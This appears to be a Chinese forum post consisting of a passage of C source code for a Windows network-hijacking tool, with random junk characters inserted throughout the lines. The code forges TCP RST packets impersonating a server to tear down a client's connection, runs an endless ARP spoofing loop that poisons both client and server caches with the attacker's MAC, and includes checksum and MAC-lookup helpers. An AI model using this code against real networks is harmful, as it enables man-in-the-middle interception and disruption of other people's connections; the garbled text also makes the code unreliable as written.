- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
__finally " u8 L: g% ?' `5 I/ e' d* M% `& L
{ 9 C# ` n5 }( p
if(pHiJackPacket) free(pHiJackPacket); % ]3 Y* x# ^( z: P$ k# t+ _
} 9 W5 l' T6 T4 ]# F
return bRet; + T) L5 V! o% c2 [, Y1 v' u5 c
}
/ X, z& {! H& ^; N. S* A
. H9 L8 Q5 s9 q% u
, o* ]% z/ d' d( z6 H6 k//
' \/ [7 E- k# ?7 f* T4 I1 f+ h/ Z//功能:伪装成Server给Client发送rst包 - }( j* _ u' D( B" K
// 8 v- u( ]" x$ f4 r$ W3 a
BOOL SendRstPacket(unsigned int seq, unsigned int ack) ' t7 |- M( h) g, _
{ , Z8 Z7 A8 F% E+ H7 e
char szBuff[60];
d" S$ D5 ]/ `5 i$ P V; V PSDHDR psdhdr; + ?" f) a/ _, O j; b
PTCPPACKET pTcpPacket = NULL;
% U [1 Y5 G; u BOOL bRet = FALSE; 5 `: q- q- ]. ^6 f9 C
% o& T [ T: e" A H2 K H
__try
4 S# b/ @4 N; S3 ? {
) X% t' Z* i8 j8 I //检查当前指向想控制的连接的信息的指针是否为空 4 T3 Q- U; s! f5 D# v
if(!g_pCurrCtrlConn) __leave;
$ c+ _& n7 v; R a8 w //allocate memory for rst packet
8 O) R6 g! Y. z: Y pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
( ^) H& r4 _4 Y7 z3 A0 M* X: n7 Y if(!pTcpPacket)
+ @$ V# G H w4 ]. K" G# u {
, R- e9 q% _: I& D: i0 @, V" w4 X printf("malloc error:%d\n", GetLastError());
" u) W' W: d4 q% u$ w5 E- R __leave;
9 w; y8 m0 {- Z/ h: I5 v } : ~, M! M; p4 N$ \6 Q K
//fill ethernet head $ ?# _7 L: ?( B: E) x" t
memcpy(pTcpPacket->ehhdr.DestMAC, g_szClientSideMAC, 6);
. p9 j" F. v7 P memcpy(pTcpPacket->ehhdr.SourceMAC, g_szOwnMAC, 6); 9 b* f1 B- ^% D6 h
pTcpPacket->ehhdr.EthernetType = htons(EPT_IP); 3 [+ E8 {* v M
//fil ip head ( c# M8 J: N# v" C* Q
pTcpPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long)); 5 J* A+ U" v7 ^) a5 q+ Z, x# i
pTcpPacket->iphdr.tos = 0; : @! Q: r1 [+ T( G3 U0 w- B
pTcpPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
# q# M& G' j+ [ pTcpPacket->iphdr.ident = 1;
) _7 M1 ~# E/ Z, W( @1 y( f; L& N pTcpPacket->iphdr.frag_and_flags = 0; ( G6 S( J5 y) F3 o
pTcpPacket->iphdr.ttl = 128; - z! C% d% ]1 ~- F1 s) I
pTcpPacket->iphdr.proto = IPPROTO_TCP; 9 ]2 M8 A. L7 \7 {5 Y) [0 b
pTcpPacket->iphdr.checksum = 0; ^- M* i, w9 y5 _
pTcpPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwServerIP;//源IP地址,伪装成服务器的
% f$ v$ ^+ t4 B/ T6 `: ?% d" b! g pTcpPacket->iphdr.destIP = g_pCurrCtrlConn->dwClientIP;//接收此rst包的ip地址 & D/ k5 ^4 X$ v# w) l0 [: X- D, k
//fill tcp head {4 S3 s2 L8 |& Y+ B
pTcpPacket->tcphdr.th_sport = g_pCurrCtrlConn->uServerPort;//源端口号,伪装成服务器的端口
% J0 j: X- S2 ~. _% B; ? pTcpPacket->tcphdr.th_dport = g_pCurrCtrlConn->uClientPort;//接收此rst包的端口 , \. l" ^3 M3 F8 S( S* F& Q3 a2 f4 f
pTcpPacket->tcphdr.th_seq = seq;//SYN
9 h7 y4 ?! {. _ |" d pTcpPacket->tcphdr.th_ack = ack;//ACK 2 u" R0 c5 k* p
pTcpPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4<<4|0);
Y; G, K) a/ f( Z% V- t pTcpPacket->tcphdr.th_flag = 4;//RST flag : s. M8 Q) y8 N N
pTcpPacket->tcphdr.th_win = 0; ' w6 f. }& R' J. }5 V
pTcpPacket->tcphdr.th_urp = 0;
5 P I9 @3 l1 d9 Z pTcpPacket->tcphdr.th_sum = 0;
7 v }3 ^; y- v) R' J6 p: X //fill tcp psd head
- e: A6 b$ u7 z, }* d psdhdr.saddr = pTcpPacket->iphdr.sourceIP; ; M2 W0 N$ u# b7 }
psdhdr.daddr = pTcpPacket->iphdr.destIP;
' i5 I5 O; f/ B' x' Z psdhdr.mbz = 0;
% A$ u( N0 Z! J( d psdhdr.ptcl = IPPROTO_TCP;
& Y6 e) [8 H, z6 f psdhdr.tcpl = htons(sizeof(TCPHDR)); . P; m* Y$ T: w# i7 n. D# R
//calculate tcp checksum
. W8 B) p4 \0 ^: O memcpy(szBuff, &psdhdr, sizeof(PSDHDR));
! b2 e* L+ k9 H5 P memcpy(szBuff + sizeof(PSDHDR), &pTcpPacket->tcphdr, sizeof(TCPHDR)); 5 ]8 J# i& a1 r; d7 g8 I5 T; q' N
pTcpPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
' o% c0 v% r( c& k5 ` //calculate IP checksum
7 a) K5 b0 P+ z/ Y: C- K, I. ?2 | pTcpPacket->iphdr.checksum = checksum((USHORT *)&pTcpPacket->iphdr, sizeof(IPHDR));
6 I0 [+ W X, A, F) S //fill send buffer ( p5 u: p, j' }& f. J3 b8 d
memset(g_lpSendPacket->Buffer, 0, 1514); . N$ Z' }- q' }$ H
memcpy(g_lpSendPacket->Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
3 U1 w7 M, |- j8 Z. g, n6 ^5 ^) W if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
6 J/ J5 G" U8 c. |5 v. b' f { # t+ K% g2 d7 u" r3 X( ~3 t
printf("Error sending the rst packets!\n"); 2 H$ Z0 w. K# `+ [
__leave; ) }/ e. [+ B6 `# S% O! g2 C/ e
} * F# ?8 k- `4 i1 o/ R9 b
else printf("Send RST packet ok!\n"); # E! _8 W# B/ y4 O
bRet = TRUE;
4 }5 L% F c7 l! ]7 D4 J }
: H% F$ ^+ H% I; \2 l' o- k/ M- S __finally p( i/ t l5 e
{
+ ?% ~, \6 s% Q- S1 G if(pTcpPacket) free(pTcpPacket); # r. [, ~6 a, O+ F. t0 g' ?. ~$ f4 n
}
$ P2 i# m! b( ^$ k. e return bRet; 0 O, a, _) }6 Z4 v
} ( k/ R6 H- H, j
9 O4 E% w. }7 [& {// & B4 {4 R( a2 w+ G5 G0 v
//功能:计算校验和
6 d9 l% S4 h. ^+ L// ) F% o" v! s0 s& q0 G! B
USHORT checksum(USHORT *buffer, int size) 0 C" z$ B: c+ D* S
{ ; d' }+ d7 J& b- G
unsigned long cksum=0; ! j5 K$ p# r, w) E$ E
while(size >1) {
3 E; n! z# _6 k% {9 }* D9 `' x cksum+=*buffer++;
; j% ^. J, B% \+ d' Y size -=sizeof(USHORT);
1 P; H' G& y0 y1 d" @! Y& W }
& p; o! I- I) m if(size ) {
2 {/ M6 A6 {9 ^% H cksum += *(UCHAR*)buffer;
3 o' a& W) ^9 X } % ^6 E9 O& ]0 q; x
cksum = (cksum >> 16) + (cksum & 0xffff); 6 W; Y" Z2 ^6 }, B
cksum += (cksum >>16); 3 h+ D: P2 V. Z7 H2 p4 h
return (USHORT)(~cksum); ! Z) `1 ]8 }9 V& ^+ P) n( \9 w2 S
}
" u9 `6 Z$ L2 d# i2 I. O) Z, A$ X- d6 [) P3 c& p3 t- R4 K; Y8 W/ ]6 @
//
' j# E; I# w; ?7 ?$ O//功能:实施ARP欺骗
: m4 k) [$ e/ w1 u _: s6 J; x//1 告诉ServerSide,ClientSide的mac是ownmac 5 o: {; H. E s- [% q4 F
//2 告诉ClientSide,ServerSide的mac是ownmac ; }" @" h6 w: [& T& S8 y
// 9 ]$ A) z( S) _5 [2 @
DWORD WINAPI ArpSpoofThread(LPVOID lpType) 6 _& b# o; N' Q9 y- e; T
{ 2 s; e G. N* m7 E; S
int iType = *(int *)lpType; - u. ^# e0 h0 A4 n. ?. m
ARPPACKET ArpPacket;
# \! d2 \+ K [2 ]1 J% T LPPACKET lpArpPacket; - q' N3 g/ _, }) W
char szArpBuff[60]; ; A& P! ^. X: f; l, ^) O/ l3 Z2 i- w
9 F3 I2 H1 J5 y- Q switch(iType) + v: n% C# a3 f2 |
{
+ m' v# u' g& i$ r4 C2 O0 V* c case 1:
+ p N' X, {8 P7 d" ? memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
9 \& e4 E3 Z( n8 d B ArpPacket.arphdr.DestIP = g_ServerSideIP;
& R! |0 B1 P/ G ArpPacket.arphdr.SourceIP = g_ClientSideIP;
) t. A/ j/ T) w9 L break;
6 @8 s' A) o2 j" A' b/ I1 B case 2: & K$ h' R- z3 k3 |
memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
: d7 S( A9 a7 X* r4 K) J& H" b ArpPacket.arphdr.DestIP = g_ClientSideIP; 5 E2 F, w) I# Z
ArpPacket.arphdr.SourceIP = g_ServerSideIP;
/ ?9 M+ N6 }3 f4 G break; . A/ g# W, u7 n; P) K
default: 3 z# Y; ~' Y* U' e9 i9 J! G
return 0;
% f4 Y& v4 U" M% Q: B( Y4 o2 }, Y }
; N0 h) y+ Y/ y //ethernet head
7 J0 V2 w" b7 M memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
0 g' J# X& Y( ^, G3 d ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
7 T# A" c2 s3 v3 D6 v //arp head
: Q+ u% S% O a K: c memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac 0 C0 T3 a* d6 `
memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac ) D, D: y3 j7 C) A& x4 K
ArpPacket.arphdr.HrdAddrlen = 6; + U& b" U2 s& f! V( W
ArpPacket.arphdr.ProAddrLen = 4; : {& X6 r \3 [- D8 x
ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE); ) @. e) t! X- d4 Y$ z
ArpPacket.arphdr.ProType = htons(EPT_IP);
, M& O5 `" D& P ArpPacket.arphdr.op = htons(2);//arp reply 9 @; @/ @. ~/ e9 ?
/ ~+ R1 E- m/ c
lpArpPacket = PacketAllocatePacket(); 7 R- ?! K+ O3 i' y3 O! Z: I* g
if(lpArpPacket == NULL) # p. w3 A: t$ t6 Z! O6 Z$ r1 F" a
{ ! l6 r6 ?: s( k! d4 q
printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
/ D. H' H8 _/ F5 D+ T$ t return 0;
* l4 A4 b2 z7 b& g: v2 X$ d' A$ k }
) Q7 t8 y* H9 `2 Y% D2 j9 c memset(szArpBuff, 0, sizeof(szArpBuff));
9 x% v: t* h% ^0 ^! l memcpy(szArpBuff, (char *)&ArpPacket, sizeof(ARPPACKET)); 8 g, T0 M' i& t6 `1 Q
PacketInitPacket(lpArpPacket, szArpBuff, 60);
" E( K; P4 I& l" e- t //send arp packet . D. k q9 o3 z t, Q1 Z& p2 j
while(1) $ I" { [' ]2 w9 d0 O h: G, U
{
2 N' B( d; M% k8 Q1 M4 I* I1 T if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
+ P& v, q4 `, Q; x% V( o { 2 m1 {4 K0 K5 M/ V1 n5 p
printf("Error sending the arp spoof packets!\n"); - O* |# P, [, _: ~. w6 Z5 _" Y) a Y
return 0;
3 ? K M& J6 v3 h; p3 } }
B- e, {+ W A+ a0 P- |1 Q Sleep(1000); 4 j3 c( o1 u' [9 K% J6 l& ]
}
0 c' q( e' j# S! [3 ]9 T return 0; + C' F+ l3 y; @ q
}
! _: ~! K/ q& u$ h! M# n. \9 @( [ [
. s( Q- R- e0 u6 N; H* `* @//
' ?3 u( p; a9 o5 _: g//功能:输入IP取得对应的MAC地址 + p4 f6 d8 W7 S# ?1 B
//
2 r j+ M; S, o+ | ?BOOL GetMACAddr(DWORD DestIP, char *pMAC)
9 ^+ t- {' Z4 Q; {( h{
3 Y: V$ S& p. E& @. F* Q( c1 W DWORD dwRet; 1 f c( D3 _" H; M; q
ULONG ulLen = 6, pulMac[2]; " f5 j5 \9 D9 ^8 v
dwRet = SendARP(DestIP, 0, pulMac, &ulLen); 2 o* F5 A* C9 F3 v* | H* }3 B
if(dwRet == NO_ERROR)
- h- n( s1 d( V6 o4 g1 M { 6 L3 [ x9 S/ y* ~5 a* e* L4 _
memcpy(pMAC, pulMac, 6); 5 B, k0 p- V0 D$ J+ d" T
return TRUE;
# Z2 {# a6 Z a y+ \" x }
n d2 m9 A4 F; h" ~+ t' c else return FALSE; ! g* Z) [ u6 O4 d' I
} |
|